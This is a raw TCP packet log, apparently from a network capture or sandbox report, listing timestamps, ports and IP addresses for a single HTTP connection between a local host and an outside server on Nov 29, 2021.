Nov 29, 2021 06:00:50.125926018 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.125957012 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.125972033 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.126044989 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.126590967 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.126624107 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.126657009 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.126686096 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.126715899 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.126749039 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.126765966 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.126771927 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.126807928 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.126843929 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.127460957 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.127485991 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.127511978 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.127542973 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.127553940 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.127580881 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.127593040 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.127616882 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.127645016 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.127655029 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.127680063 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.128422022 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.128448009 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.128468990 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.128485918 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.128495932 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.128520012 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.128550053 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.128556967 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.128581047 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.128606081 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.128617048 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.128638983 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.128662109 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.129334927 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.129359007 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.129388094 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.129395008 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.129420996 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.129431963 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.129839897 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.129863977 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.129889011 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.129913092 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.129928112 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.129951954 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.129962921 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.129987001 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.129997969 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.130022049 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.130044937 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.130085945 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.130816936 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.130842924 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.130867004 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.130892038 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.130906105 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.130925894 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.130949020 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.130974054 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.130990982 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.131010056 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.131033897 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.131076097 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.131679058 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.131705999 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.131733894 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.131757975 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.131782055 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.131805897 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.131829977 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.131844997 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.131864071 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.131880999 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.131906986 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.132600069 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.132623911 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.132643938 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.132668972 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.132693052 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.132718086 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.132735014 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.132756948 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.132781029 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.132795095 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.132818937 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.132833958 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.133575916 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.133600950 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.133625984 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.133651018 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.133662939 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.133687973 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.133698940 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.133723021 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.133747101 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.133764029 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.133783102 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.133795977 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.134439945 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.134466887 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.134490967 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.134515047 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.134526014 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.134551048 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.134563923 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.134589911 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.134597063 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.134620905 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.134644032 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.134686947 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.135356903 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.135382891 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.135409117 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.135437012 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.135445118 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.135456085 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.135479927 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.135503054 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.135525942 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.135540009 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.135565042 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.135580063 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.136375904 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.136403084 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.136426926 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.136445045 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.136466026 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.136491060 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.136518002 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.136526108 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.136549950 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.136578083 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.136584997 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.136591911 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.137145042 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.137171984 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.137196064 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.137212038 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.137238026 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.137254000 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.137274981 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.137299061 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.137322903 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.137352943 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.137358904 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.137393951 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.138087034 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.138112068 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.138134956 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.138149977 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.138173103 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.138195992 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.138207912 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.138231039 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.138253927 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.138272047 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.138288975 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.138309002 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.138916016 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.138940096 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.138962030 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.138986111 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.138998032 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.139022112 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.139033079 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.139055014 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.139079094 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.139094114 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.139112949 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.139127016 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.139147997 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.139902115 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.139925003 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.139950991 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.139962912 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.139986992 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.140002966 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.140021086 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.140031099 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.140053988 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.140074968 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.140096903 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.140110016 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.140132904 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.140163898 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.140877962 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.140902042 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.140927076 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.140949965 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.140960932 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.140976906 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.140995026 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.141016960 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.141036034 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.141051054 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.141072989 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.141096115 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.141112089 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.141145945 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.141849041 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.141877890 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.141901016 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.141920090 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.141944885 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.141958952 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.141987085 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.141999006 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.142023087 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.142045021 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.142059088 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.142079115 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.142102003 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.142816067 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.142842054 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.142864943 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.142878056 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.142900944 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.142916918 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.144690037 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.144728899 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.144747019 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.184982061 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.430016041 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.430495977 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.901998997 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.902089119 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.262929916 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.280239105 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.280298948 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.280338049 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.280376911 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.280415058 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.280462980 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.280478954 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.280510902 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.280551910 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.280594110 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.280635118 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.280658007 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.280694962 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.280731916 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.280771017 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.280810118 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.280831099 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.280901909 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.280941963 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.280983925 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.281001091 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.281040907 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.281080008 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.281116962 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.281146049 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.281153917 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.281179905 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.281505108 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.281544924 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.281582117 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.281611919 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.281622887 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.281662941 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.281702995 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.281742096 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.281758070 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.281797886 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.281837940 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.281852007 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.281892061 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.281932116 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.281949997 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.282421112 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.282463074 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.282479048 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.282519102 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.282557011 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.282572985 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.282612085 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.282651901 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.282669067 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.282708883 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.282747030 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.282763004 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.282804012 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.282854080 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.282864094 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.283415079 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.283457994 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.283498049 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.283521891 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.283560038 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.283586025 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.283618927 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.283658028 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.283674002 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.283706903 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.283761978 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.283916950 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.283987999 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.284033060 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.284051895 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.284094095 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.284132957 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.284149885 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.284224987 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.284265041 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.284281015 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.284317970 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.284358025 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.284431934 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.284476995 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.284534931 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.285088062 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.285152912 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.285192966 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.285223961 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.285298109 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.285341024 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.285360098 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.285398960 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.285439014 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.285456896 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.285530090 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.285584927 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.285598040 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.285630941 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.285655022 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.285789967 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.285824060 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.285861969 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.285880089 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.285912991 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.285943031 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.285962105 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.285995960 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.286031961 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.286045074 CET	49731	80	192.168.2.3	104.21.92.165
